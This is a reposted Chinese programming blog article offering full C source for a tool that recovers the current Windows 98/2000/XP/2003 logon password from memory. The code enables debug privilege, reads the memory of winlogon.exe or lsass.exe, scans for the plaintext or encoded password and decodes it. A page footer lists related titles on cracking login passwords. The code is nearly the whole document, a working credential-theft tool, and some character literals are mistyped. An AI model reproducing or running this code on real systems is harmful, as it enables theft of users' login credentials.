编程读取windows98/2000/xp/2003的登录密码
来源:互联网 发布:夏贝贝云盘全套源码 编辑:程序博客网 时间:2024/06/10 15:04
在Windows的某些版本中,当前登录用户的密码可以在内存中找到,这个原理不是我发现的,我不过根据这个原理实现了下面的代码。
完整代码如下:
/********************************************************************************
功能 : 获取Windows当前登录的密码,适用win98/2000/xp/2003, Win98中获得的
是登录时输入的,不包含大小写,WinMe中按98的方法,但没有测试。
在Win98/2000/XP/2003下测试成功。
XP sp2 下不成功, 在内存中没有找到明文密码.
作者 : cczlp
版本 : 1.0
--------------------------------------------------------------------------------
修改记录 :
日 期 版本 修改人 修改内容
2005/12/05 1.0 cczlp 创建
*******************************************************************************/
//---------------------------------------------------------------------------
#include <windows.h>
#include <tlhelp32.h>
#include <Ntsecapi.h>
// 判断操作系统类型
enum TOSType {wt3X, wtNT3, wt95, wt98, wtME, wtNT4, wt2000, wtXP, wt2003, wtUnknown};
// 判断操作系统类型
TOSType GetOSType()
{
OSVERSIONINFO info;
TOSType Result = wtUnknown;
info.dwOSVersionInfoSize = sizeof(info);
GetVersionEx(&info);
switch(info.dwPlatformId)
{
case VER_PLATFORM_WIN32s:
Result = wt3X;
break;
case VER_PLATFORM_WIN32_WINDOWS:
if ( info.dwMajorVersion == 4 )
{
if (info.dwMinorVersion == 0 )
Result = wt95;
else if ( info.dwMinorVersion == 10 )
Result = wt98;
else if ( info.dwMinorVersion == 90 )
Result = wtME;
}
break;
case VER_PLATFORM_WIN32_NT:
if ( info.dwMajorVersion == 3 ) // && info.dwMinorVersion == 51)
Result = wtNT3;
else if ( info.dwMajorVersion == 4 ) // && info.dwMinorVersion == 0)
Result = wtNT4;
else if ( info.dwMajorVersion == 5 )
{
if ( info.dwMinorVersion == 0 )
Result = wt2000;
else if ( info.dwMinorVersion == 1 )
Result = wtXP;
else if (info.dwMinorVersion == 2)
Result = wt2003;
}
break;
}
return Result;
}
DWORD GetProcessPID(char *ProcessName)
{
DWORD dwPid = 0;
BOOL bOk;
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}
for (bOk = Process32First(hSnapshot, &pe32); bOk; bOk = Process32Next(hSnapshot, &pe32))
{
if (strstr(strupr(pe32.szExeFile), strupr(ProcessName)))
{
dwPid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hSnapshot);
return dwPid;
}
BOOL EnablePrivilege(LPCTSTR lpszPrivilegeName, BOOL bEnable)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;
}
//修改进程权限
LookupPrivilegeValue(NULL, lpszPrivilegeName, &tp.Privileges[0].Luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = (bEnable) ? SE_PRIVILEGE_ENABLED : 0;
//通知系统修改进程权限
AdjustTokenPrivileges(hToken, FALSE, &tp, NULL, NULL, NULL);
CloseHandle(hToken);
return (GetLastError() == ERROR_SUCCESS);
}
/*
重设了密码后没有重启或注销,查到的还是重设前的。
*/
BOOL FindPassword98(char *InBuf, DWORD InLen, char *OutBuf, DWORD OutLen)
{
char Password[MAX_PATH] = {0};
BYTE Sign[] = {0x10, 0, 0, 0xa0};
DWORD dwPwdLen = 0;
DWORD dwFirstPwdLen = 0;
int iFind = 0;
DWORD i;
bool bFind = false;
if (InBuf == NULL || InLen < 2 || OutBuf == NULL || OutLen < 1)
{
return FALSE;
}
for (i = 0; i < InLen - 16; i++)
{
if (InBuf[i] == '/xa0')
{
if (memcmp(InBuf + i + 1, "Microsoft", 9) == 0)
{
i = i >= 48 ? i - 48 : 0;
bFind = true;
break;
}
}
}
if (!bFind)
{
return FALSE;
}
bFind = false;
while(i < InLen - 16)
{
if (memcmp(InBuf + i, Sign, sizeof(Sign)) == 0)
{
//在16位编辑器中显示为:
//NPMP32
//Microsoft
if (InBuf[i + sizeof(Sign)] == 'M'
&& InBuf[i + sizeof(Sign) + 17] == 'i'
)
{
i += 32;
}
else if (isprint(InBuf[i + sizeof(Sign)]))
{
i += sizeof(Sign);
InLen = i + 0x300 < InLen ? i + 0x300 : InLen;
bFind = true;
}
else
{
i += sizeof(Sign);
}
continue;
}
if (bFind)
{
Password[dwPwdLen++] = InBuf[i];
if (InBuf[i] == '/0' || dwPwdLen >= MAX_PATH - 1)
{
if (OutLen > dwFirstPwdLen)
{
strcpy(OutBuf, strlwr(Password));
}
dwPwdLen = 0;
bFind = false;
//发现一串密码. 继续寻找,目前以最后一个为准
iFind++;
}
}
i++;
}
return iFind;
}
/*
XP
*/
BOOL FindPasswordXP(char *InBuf, DWORD InLen, char *OutBuf, DWORD OutLen)
{
char Password[MAX_PATH] = {0};
DWORD dwPwdLen = 0;
if (InBuf == NULL || InLen < 2 || OutBuf == NULL || OutLen < 1)
{
return FALSE;
}
for (DWORD i = 0; i < InLen - 4; i += 2)
{
if ((i % 8 == 0 && dwPwdLen == 0 || dwPwdLen ) //密码开始地址是8倍数
&& InBuf[i + 1] == '/0' //Unicode字符
&& (isprint(InBuf[i]) || InBuf[i] == 0x20) //字母,数字或空格
)
{
Password[dwPwdLen++] = InBuf[i];
//XP中, 密码以UNICODE 0x80结束
if (InBuf[i + 2] == '/x80' && InBuf[i + 3] == '/0')
{
Password[dwPwdLen] = 0;
break;
}
}
else
{
dwPwdLen = 0;
}
}
if (dwPwdLen > 0 && dwPwdLen < OutLen)
{
strcpy(OutBuf, Password);
return TRUE;
}
return FALSE;
}
BOOL FindPassword2000(char *InBuf, DWORD InLen, char *OutBuf, DWORD OutLen)
{
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)(BYTE, PUNICODE_STRING);
#define USER_DOMAIN_OFFSET_WIN2K 0x400
#define USER_PASSWORD_OFFSET_WIN2K 0x800
static wchar_t UserName[0x400] = {0};
static HINSTANCE hDll = NULL;
static PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString = NULL;
if (InBuf == NULL || InLen < 2 || OutBuf == NULL || OutLen < 1)
{
return FALSE;
}
if (UserName[0] == 0)
{
GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
}
if (hDll == NULL)
{
if ((hDll = GetModuleHandle("ntdll.dll")) == NULL)
{
if ((hDll = LoadLibrary("ntdll.dll")) == NULL)
{
return FALSE;
};
}
if ((pfnRtlRunDecodeUnicodeString =
(PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress(hDll,
"RtlRunDecodeUnicodeString")) == NULL)
{
return FALSE;
}
}
if (wcscmp ((wchar_t *)InBuf, UserName) != 0)
{
return FALSE;
}
char Password[MAX_PATH] = {0};
DWORD dwPwdLen = 0;
wchar_t *wsBuf = (wchar_t *)(InBuf + USER_PASSWORD_OFFSET_WIN2K);
UNICODE_STRING EncodedString;
EncodedString.Length = wcslen(wsBuf) * sizeof (wchar_t);
EncodedString.MaximumLength = EncodedString.Length + sizeof (wchar_t);
if (EncodedString.MaximumLength > MAX_PATH)
{
return FALSE;
}
EncodedString.Buffer = (wchar_t *)new char [EncodedString.MaximumLength];
int j = 0;
PBYTE p = (PBYTE)EncodedString.Buffer;
for (BYTE i = 0; i < 0xFF; i++)
{
CopyMemory(EncodedString.Buffer, wsBuf, EncodedString.Length);
//Try to decode the password.
pfnRtlRunDecodeUnicodeString(i, &EncodedString);
for (j = 0; j < EncodedString.Length - 1; j += 2)
{
if (!(p[j + 1] == '/0' //Unicode字符
&& (isprint(p[j]) || p[j] == 0x20)) //字母,数字或空格
)
{
break;
}
Password[dwPwdLen++] = p[j];
}
if (j == EncodedString.Length - 1)
{
break;
}
}
BOOL bOk = FALSE;
if (Password[0] && dwPwdLen < OutLen)
{
strcpy(OutBuf, Password);
bOk = TRUE;
}
delete []EncodedString.Buffer;
return bOk;
}
BOOL GetUserPassword(char *pBuf, int Length)
{
BOOL bFind = FALSE;
DWORD dwSearchStart;
DWORD dwSearchLen;
DWORD dwPerSearch = 4 * 1024; // Must be 4096 in Win2K
HANDLE hProcess;
DWORD dwPid = 0;
TOSType SysType = GetOSType();
switch (SysType)
{
case wt98:
case wtME:
dwPid = GetProcessPID("KERNEL32.DLL");
dwSearchStart = 0x83280000; //0x8328b000
dwSearchLen = 0x83a00000 - dwSearchStart;
break;
case wt2000:
dwPid = GetProcessPID("winlogon.exe");
dwSearchStart = 0x00800000;
dwSearchLen = 0x00900000 - dwSearchStart;
break;
case wtXP:
dwPid = GetProcessPID("lsass.exe");
dwSearchStart = 0x002b0000;
dwSearchLen = 64 * 1024;
break;
case wt2003:
dwPid = GetProcessPID("lsass.exe");
dwSearchStart = 0x002b0000;
dwSearchLen = 64 * 1024;
break;
default:
break;
}
if (dwPid == 0)
{
return FALSE;
}
EnablePrivilege(SE_DEBUG_NAME, true);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE,
dwPid);
if (hProcess == 0)
{
return 1;
}
DWORD dwBytesRead = 0;
char * Buff = new char[dwPerSearch];
for (DWORD i = 0; i < dwSearchLen / dwPerSearch; i++)
{
if (ReadProcessMemory(hProcess,
(PVOID)(dwSearchStart + i * dwPerSearch),
Buff,
dwPerSearch,
&dwBytesRead))
{
if (SysType <= wtME
&& (bFind = FindPassword98(Buff, dwBytesRead, pBuf, Length)) == TRUE)
{
break;
}
else if (SysType == wt2000
&& (bFind = FindPassword2000(Buff, dwBytesRead, pBuf, Length)) == TRUE)
{
break;
}
else if (SysType == wtXP
&& (bFind = FindPasswordXP(Buff, dwBytesRead, pBuf, Length)) == TRUE)
{
break;
}
else if (SysType == wt2003
&& (bFind = FindPasswordXP(Buff, dwBytesRead, pBuf, Length)) == TRUE)
{
break;
}
}
}
memset(Buff, 0, dwBytesRead);
delete []Buff;
CloseHandle(hProcess);
return bFind;
}
用法:
char password[256] = {0};
if (GetUserPassword(password, 256))
{
:: MessageBox(NULL, password, "find", MB_OK );
}
几年前写的,在打了最新补丁的NT系统上不适用,这也是公布代码的原因,不希望写木马病毒的菜鸟去做坏事。
- 编程读取windows98/2000/xp/2003的登录密码
- (转帖) 忘记登录密码的解决方案 for XP/2003/2000
- windows98 及XP 的开机过程
- Windows98-XP快捷键大全
- windows 2000/xp/2003开机后的密码登录界面的取消【基本常识】
- Windows 2000/XP/2003登录密码轻松破解
- windows 2000/xp/2003开机后的密码登录界面取消
- [转]windows 2000/xp/2003开机后密码登录界面的取消
- 忘记Windows XP登录密码的解决方案
- 一招制敌,清除win2000/XP的登录密码
- 忘记Windows XP登录密码的解决方案
- 忘记Windows XP登录密码的解决方案
- 破解windows XP的登录密码
- 不用密码登录xp
- xp登录密码丢失解决办法
- 破解XP登录密码步骤
- 破解windows xp 登录密码
- 找回忘记了的Win XP登录密码的方法
- 学习Ext第一天(Ext 简介)
- java多态
- 从技术到市场驱动 洋教头五年时间改造华为
- 提高String和StringBuffer性能的技巧
- 程序员高手是怎样练成的?
- 编程读取windows98/2000/xp/2003的登录密码
- 打破ISP限制 实现企业内VoIP通讯
- java tips
- Tomcat6在JDK1.6下不能启动的解决
- .Net在写托盘程序中碰到的一些问题的解决方法(无法关机/自启动等)
- 三层结构
- Flex与HTPPService,Flex与php的交互
- 学好php这些你会吗
- [Ajax]用简易Ajax框架实现"省市二级联动下拉菜单"【转载】